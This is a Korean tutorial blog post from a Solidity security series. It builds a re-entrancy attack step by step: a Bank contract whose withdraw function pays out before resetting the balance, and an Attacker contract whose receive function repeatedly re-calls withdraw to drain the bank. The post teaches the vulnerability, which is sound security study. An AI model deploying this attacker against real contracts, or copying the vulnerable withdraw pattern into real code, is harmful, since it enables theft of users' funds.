상세 컨텐츠

본문 제목

솔리디티 깨부수기 - Security 2강 재진입 공격(re-entrancy attack) 구현하기

솔리디티 깨부수기 - Security

by D_One 2022. 7. 31. 18:50

본문

안녕하세요. 

 

오늘은 재진입 공격(re-entrancy attack) 구현해보도록 하겠습니다. 

 

 

TLDR ; 글 보다는 유튜브에서 편하게 확인하세요 :))

https://youtu.be/s9ttyLsF-W0

 

 

두 개의 스마트 컨트랙트 Bank와 Attacker가 필요하겠죠.

 

먼저 Bank 스마트 컨트랙트 부터 보도록 하겠습니다. 

 

그림1 Bank 스마트 컨트랙트는 Deposit과 Withdraw 함수가 있다.

지난 시간에 보았듯이, Bank는 이더를 입금하는 함수 Deposit과 이더를 출금하는 함수 witdraw가 있습니다. 

 

2개의 함수를 구현하기전에 한가지 생각해봐야 할게 있습니다.

User1은 Bank에게 1이더,  User2는 Bank에게 3이더를 적금한다면, Bank는 누가 1이더를 적금했고, 누가 3이더를 적금했는지 기억을 해야겠죠. 

 

저희는 이 부분을 mapping(address => uint) public balances;을 통해서 구현하도록 하겠습니다.

즉 이 매핑의 key값과 value값은 유저의 주소와 User1이 적금한 이더의 양이 되겠죠.  

쉽게 예를 들면 balances[User1의 주소] = 1이더 , balances[User2의 주소] = 3이더가 저장될것입니다. 

 

아래와 같이 Bank 스마트 컨트랙트를 작성할 수 있습니다.

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

contract Bank {
    
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint currentBalance = balances[msg.sender];
        (bool result,) = msg.sender.call{value:currentBalance}("");
        require(result, "ERROR");
         balances[msg.sender]=0;
    }
    
    function chekcBalance() external view returns(uint) {
        return address(this).balance;
    }
    
}

 

deposit 함수

유저가 이더를 전송시, 전송된양이   balances[msg.sender] += msg.value;를 통해 저장되는것을 알 수 있습니다. 

 

withdraw 함수

유저가 이더를 출금시, uint currentBalance = balances[msg.sender];를 통해 현재 유저가 적금한 이더의 양을 구하고, call 함수를 통해 반환하는것을 알 수 있습니다. 

 

chekcBalance 함수

현재 bank의 이더 잔액입니다.

 

Attacker를 구현해보도록 하겠습니다. 

Attacker의 receive함수는 withdraw함수를 지속적으로 호출해 bank의 이더를 들고 왔었죠. 

 

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

contract Attacker {

  
    Bank public bank;
    address public owner;
    receive() payable external {
        if(address(msg.sender).balance>0) {
            bank.withdraw();
        }
    }

    constructor(address _bank) {
        bank = Bank(_bank);
    }

    function sendEther() external payable {
        bank.deposit{value:msg.value}();
    }

    function withdrawEther() external {
        bank.withdraw();
    }

    function chekcBalance() external view returns(uint) {
        return address(this).balance;
    }

}

먼저 Attacker는 bank의 deposit 함수와 withdraw 함수를 사용하기에, 배포된 Bank의 주소가 필요합니다.

constructor를 보시면, Bank 타입의 변수 bank에게 Bank(_bank)를 입력했습니다. 즉  Bank(_bank)는 Bank의 주소를 입력해 Bank화(?)한후 변수 bank는 deposit 함수와 withdraw 함수를 사용할 수 있게 되었습니다. 

 

sendEther 함수

Bank의 정보가 저장된 bank를 통해 Bank 스마트 컨트랙트의 deposit을 하고 있는것을 알 수 있습니다. 

참고로, 함수를 실행하면 이더를 보낼때, 위와 같이 {value: msg.value}를 붙여 주셔야 합니다.

 

withdrawEther 함수

Bank의 정보가 저장된 bank를 통해  Bank 스마트 컨트랙트의 withdraw를 실행해, 이더를 출금합니다. 

 

receive 함수

지난 시간에 보았듯이, Bank가 Attacker에게 이더를 준다면, Bank의 receive함수는 자동적으로 실행이 됩니다.

receive 함수의 첫번째 로직을 보면 if(address(msg.sender).balance>0)인 것을 알 수 있습니다.

if(address(msg.sender).balance>0) 는 bank에 balance가 0초과라면을 나타냅니다.

 

왜 msg.sender가 bank의 주소인지 의문을 가질 수 있습니다. 

해당 이유는, bank가 attacker에게 이더를 주면서 recieve 함수가 실행됬기에 msg.sender는 bank의 주소가 됩니다. 

 

if 조건문안의 로직을 보시면,  bank.withdraw(); 입니다. 즉 bank에게 다시한번 출금을 요청하고 있습니다. 

이에 bank는 또 이더를 attacker에게 보내주게 된답니다. 그러면 또 attacker의 receive가 실행이되고 계속 반복이 됩니다. 

 

이로써 하나의 트랜잭션에서 attacker는 bank에게 여러번 진입해 모든 이더를 갖고오게 되겠죠. 

chekcBalance 함수

현재 bank의 이더 잔액입니다.

 

 

다음 시간에 어떻게 방지하는지 알아 보도록 하겠습니다 :) 

 

코드 : https://github.com/D-One0914/BreakingSoliditySecurity

 

 

 

관련글 더보기